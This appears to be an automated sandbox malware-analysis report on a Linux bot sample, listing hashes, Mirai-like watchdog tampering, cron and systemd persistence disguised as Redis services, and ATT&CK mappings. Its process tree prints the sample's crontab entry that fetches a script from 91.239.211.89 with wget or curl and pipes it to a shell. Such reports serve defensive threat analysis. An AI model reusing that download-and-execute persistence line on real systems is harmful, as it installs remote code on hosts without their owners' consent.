Analysis
- max time kernel
148s - max time network
150s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
20/06/2026, 18:45
Static task
static1
Behavioral task
behavioral1
Sample
91.239.211.89_sample.bin
Resource
ubuntu1804-amd64-20260513-en
General
- Target 91.239.211.89_sample.bin
- Size 107KB
- Sample260620-xd334agy6j
- SHA256 c1e97858d11f97a0157f31aeb413c76ecd9cd96062929e2e659ae9e3c0dc78c4
- MD5 883ae61b18863aff8ca41f8cd678eba2
- SHA1 8c553f41afa957680b155f7560a2f06621eac497
- SHA512 04dbd97ba7e5a639b4501055b4e36957a74c725268e4e847339311a08227473565c971ec56bca08a7c3a00dbab0acb9099cfffec0f9402018aaacfcb8bb2a68e
- SSDEEP 3072:xd41MFk5CMmOeYtZ0m+yKCrCfofRtLIoa+laT:xd41Me6OxnKCrCw3LIslaT
- TLSH T158B30229E53C0981E53DD0F551BFE23066ADD4CBB2F81309F2C85CA02426CF1ADA7A5B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Deletes itself 1 IoCs
pid Process 1490 91.239.211.89_sample.bin - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog 91.239.211.89_sample.bin File opened for modification /dev/misc/watchdog 91.239.211.89_sample.bin - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.DZpJxm crontab File opened for modification /var/spool/cron/crontabs/root 91.239.211.89_sample.bin - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp 91.239.211.89_sample.bin - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/redis-sentinel.service 91.239.211.89_sample.bin - Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/ens3/address 91.239.211.89_sample.bin - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself redis-server redis-sentinel redis-cli rdb-check aof-rewrite 1490 91.239.211.89_sample.bin - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo 91.239.211.89_sample.bin - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp 91.239.211.89_sample.bin - Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/class/net 91.239.211.89_sample.bin -
description ioc Process File opened for reading /proc/1319/stat 91.239.211.89_sample.bin File opened for reading /proc/329/cmdline 91.239.211.89_sample.bin File opened for reading /proc/498/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1052/cmdline 91.239.211.89_sample.bin File opened for reading /proc/23/cmdline 91.239.211.89_sample.bin File opened for reading /proc/653/cmdline 91.239.211.89_sample.bin File opened for reading /proc/943/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1083/cmdline 91.239.211.89_sample.bin File opened for reading /proc/10/stat 91.239.211.89_sample.bin File opened for reading /proc/32/stat 91.239.211.89_sample.bin File opened for reading /proc/170/stat 91.239.211.89_sample.bin File opened for reading /proc/447/stat 91.239.211.89_sample.bin File opened for reading /proc/self/exe 91.239.211.89_sample.bin File opened for reading /proc/29/cmdline 91.239.211.89_sample.bin File opened for reading /proc/250/cmdline 91.239.211.89_sample.bin File opened for reading /proc/924/cmdline 91.239.211.89_sample.bin File opened for reading /proc/self/stat systemctl File opened for reading /proc/325/stat 91.239.211.89_sample.bin File opened for reading /proc/1048/stat 91.239.211.89_sample.bin File opened for reading /proc/79/cmdline 91.239.211.89_sample.bin File opened for reading /proc/418/cmdline 91.239.211.89_sample.bin File opened for reading /proc/502/cmdline 91.239.211.89_sample.bin File opened for reading /proc/679/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1075/cmdline 91.239.211.89_sample.bin File opened for reading /proc/943/stat 91.239.211.89_sample.bin File opened for reading /proc/25/cmdline 91.239.211.89_sample.bin File opened for reading /proc/487/cmdline 91.239.211.89_sample.bin File opened for reading /proc/493/cmdline 91.239.211.89_sample.bin File opened for reading /proc/sys/kernel/osrelease systemctl File opened for reading /proc/6/stat 91.239.211.89_sample.bin File opened for reading /proc/999/stat 91.239.211.89_sample.bin File opened for reading /proc/171/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1090/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1457/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1259/stat 91.239.211.89_sample.bin File opened for reading /proc/27/stat 91.239.211.89_sample.bin File opened for reading /proc/84/stat 91.239.211.89_sample.bin File opened for reading /proc/18/cmdline 91.239.211.89_sample.bin File opened for reading /proc/179/cmdline 91.239.211.89_sample.bin File opened for reading /proc/488/cmdline 91.239.211.89_sample.bin File opened for reading /proc/575/cmdline 91.239.211.89_sample.bin File opened for reading /proc/14/stat 91.239.211.89_sample.bin File opened for reading /proc/990/stat 91.239.211.89_sample.bin File opened for reading /proc/1088/stat 91.239.211.89_sample.bin File opened for reading /proc/1300/stat 91.239.211.89_sample.bin File opened for reading /proc/28/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1067/cmdline 91.239.211.89_sample.bin File opened for reading /proc/23/stat 91.239.211.89_sample.bin File opened for reading /proc/169/stat 91.239.211.89_sample.bin File opened for reading /proc/1340/stat 91.239.211.89_sample.bin File opened for reading /proc/1087/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1484/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1/sched systemctl File opened for reading /proc/17/stat 91.239.211.89_sample.bin File opened for reading /proc/910/stat 91.239.211.89_sample.bin File opened for reading /proc/902/cmdline 91.239.211.89_sample.bin File opened for reading /proc/1071/cmdline 91.239.211.89_sample.bin File opened for reading /proc/filesystems systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/19/stat 91.239.211.89_sample.bin File opened for reading /proc/175/stat 91.239.211.89_sample.bin File opened for reading /proc/179/stat 91.239.211.89_sample.bin File opened for reading /proc/280/stat 91.239.211.89_sample.bin File opened for reading /proc/5/cmdline 91.239.211.89_sample.bin - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bot_exit_reason 91.239.211.89_sample.bin File opened for modification /tmp/.redis-server.pid 91.239.211.89_sample.bin
Processes
-
/tmp/91.239.211.89_sample.bin/tmp/91.239.211.89_sample.bin1⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:1488 -
/bin/shsh -c "/bin/systemctl daemon-reload 2>/dev/null"2⤵PID:1496
-
/bin/systemctl/bin/systemctl daemon-reload3⤵
- Reads runtime system information
PID:1497
-
-
-
/bin/shsh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"2⤵PID:1519
-
/bin/systemctl/bin/systemctl enable --now redis-sentinel.service3⤵
- Reads runtime system information
PID:1522
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"2⤵PID:1544
-
/usr/bin/crontab/usr/bin/crontab -l3⤵PID:1545
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1490 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"2⤵PID:1546
-
/usr/bin/crontab/usr/bin/crontab -3⤵
- Creates/modifies Cron job
PID:1547
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/redis-sentinel.service
- Size 344B
- SHA256 714325ee5f38eb2cdc6252f19a9eb1a2e664246ed95c300df326050b18319e2f
- MD5 0dbad1f026299d5b5e90a076e2f88f00
- SHA1 a6850ef1474983e0b4cdea475de3b3a9bbaa3736
- SHA512 ade62c6be335a2bba96fb64ef2cff0173f59cebec1b35811f311a82aac4095792aac88725edd77232bb6a5b53e5648543a2465227e15f7b7343eed64371cc7a7
- TLSH T1C9E0C0A22B5300D38C0F1DB24EA3E7580400D34B6587F6BC5DE8388410E1B0E7038EB1
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_exit_reason
- Size 38B
- SHA256 57049b0c96b6fd098c8bf3d5ba520032b8e74cef26e71571eeec79280e3bd088
- MD5 b4403792493841a93a4821e92c6b19ad
- SHA1 2a50a0f05c8ae8cfd4365dbf94b72552a5553603
- SHA512 c6ae276e06261996f7a9ad6171bf0fd8709de63a2feef44589bf52621baceb818833829f8d9a537da87f830848b0c0fe117cd179ab78db4051463f097bd5e22d
- MD5 SHA1 SHA512
- Path /tmp/.bot_exit_reason
- Size 200B
- SHA256 594f1315c7204523f53e6efa300121df9e5f569f84038f38485a3c8c5e9cb395
- MD5 e6480bac4d026d74be5a4799891c4eac
- SHA1 37d3b53ee87defba183b2343210de95c74148ae2
- SHA512 285ecda7b8ad790ff8d45f35910806e0f1cdfa6c3edfdf46fd6c2e09eed62ccec83b19988316a427fdc43a331ed4bdf0c435c76f89f31bdfbe3edf367c9b828d
- TLSH T138D0120543B673774D0B6243D954D92C4320321060A71CF07B4671F832788710B8B20C
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_exit_reason
- Size 982B
- SHA256 1eaf8f541e1d7ed3f4ae333e409bc6db5e829d9ac210a7076d032487da89613c
- MD5 3f56bd6bf77022bb0a29f582406866ef
- SHA1 a0f9d3d978f6af12d0093c20bb4fda431ebcfd19
- SHA512 8b4a2f0221a571dded53ed2eca9973e144ac8671504b286678f8a6a72616bcd51f8eeee969fc202119a0354eda9e8e6865e37239bb49c515423ce915597b339e
- TLSH T12F119D1A43BA33B75E0B92C3D415D9AC83643051A1F719F0BF4671B532788630B8EB0C
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_exit_reason
- Size 82B
- SHA256 93b729f84c1fd802f6d8735c898aa5302b4bc49ed516b6d938d2dba26d4e923e
- MD5 0ce184f3b25c8a039aa03dc9acaf439e
- SHA1 66201cf39bc9b06b97b12a698a6148e860e9e8ba
- SHA512 27e4681f603394438d493f61d8b6ac2da4e1c8ae93a218b4fe6209c11e93d6f6c33ae71f2ffc12d4bd08bfe6aff22c1fcefe8dd050299503bd2cae41e49529b1
- TLSH T173A0220283B233A30E0B3303C880EA2C0330320020A32CF03B8332F832388B20B8320C
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_exit_reason
- Size 118B
- SHA256 b7cd61ebea527186fba798ccd34819a63e9a774782457eb3a0eb0c044fdea075
- MD5 b07f263c760f49bfafdcd37da9e6b42b
- SHA1 9ebeab74f862e73071aa24de6d74ab92cbacc7b5
- SHA512 0fbfa04a180f6cf82dfaf79784c335c8c7f01d57ec4a810dc28628a78ad3f6faa9dd64c7ca857d85f467e2f32169c327905b80931445adb4fa2ec5ef92fabc76
- TLSH T1EDB0920543B67363090A6203C994D96C4320320060A71CA07B4671E822788710B8B208
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_exit_reason
- Size 156B
- SHA256 8ea79f8062f15baa48c2e95d643bd3a0379a45965b2ef0775e3bc4c829873dfc
- MD5 81c5c3f96c23a445da6f75c28c1c81c6
- SHA1 6224f5e0f3ace094b9994addc300cf801d3d8bff
- SHA512 dca1ed7ff1955b90df925007cbc20614692a81839071e36901223f454f091e5d460039eb8960adbc1fe1ac121b89ec5f4d231e9129a3f1a52fe952eb44cc71db
- TLSH T167C04C0543B673770D0B6243D954D96C4320321060B71DA07B4671F922788720B8B208
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.redis-server.pid
- Size 4B
- SHA256 a1271642c26ded1a08fc67a7791aa368ec32e76940cf6f15e779d091f31439fb
- MD5 f187a23c3ee681ef6913f31fd6d6446b
- SHA1 0fa6bca242ccb96697e8de570882c6b38746591a
- SHA512 415fee7baaea95155c640f3c456017d79cb9a2a6694d0df2fee6bb21ddb9ec10097e6b6f69b52003fc0115fdda414f4beccb93e965aa6c08c01d3b99ffe5b08c
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/root
- Size 168B
- SHA256 1e1296dfde7a7bdc23571b22bc8991bafa9874005df6fd67031222da308d928d
- MD5 56f7f0718683981683dfb433c4ee896e
- SHA1 032db2df45c1bd60727c589ca975514f0b1e3888
- SHA512 e18084edc448a4bf3af6826204d8abe20cbaa924435ef0efe5dcaef3dd4fc83c048d84917e2d67dcfbd4db9baf2276003de2388ca0a4c86ea91aa2fb153f8823
- TLSH T141C012E4A4675551AD05483C1274D77C544269BB7CF5F7A18C4D9854105C30E755CE20
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.DZpJxm
- Size 343B
- SHA256 8ea08e401935e34cf53033449ce0d2b95ffe9c1837251e51b65e99edd09b58d8
- MD5 585ca91aa2c301a45865db3d167b035d
- SHA1 cd153c6b70b1c227432e33a8d154eed0ea6b70af
- SHA512 9e22e72c2d59bce70570468f3bce6e84386edc330497b96480b839f2ee9fe9268e9fc8b51d03f064f0359ad6eb25c7f09f977154d23c1523eebbb45a4a667340
- TLSH T185E0C0A8BB1225316D054A1C1279967C5482E5BFA8ABFF60E88C5818011C30E7B5CE30
- MD5 SHA1 SHA512 TLSH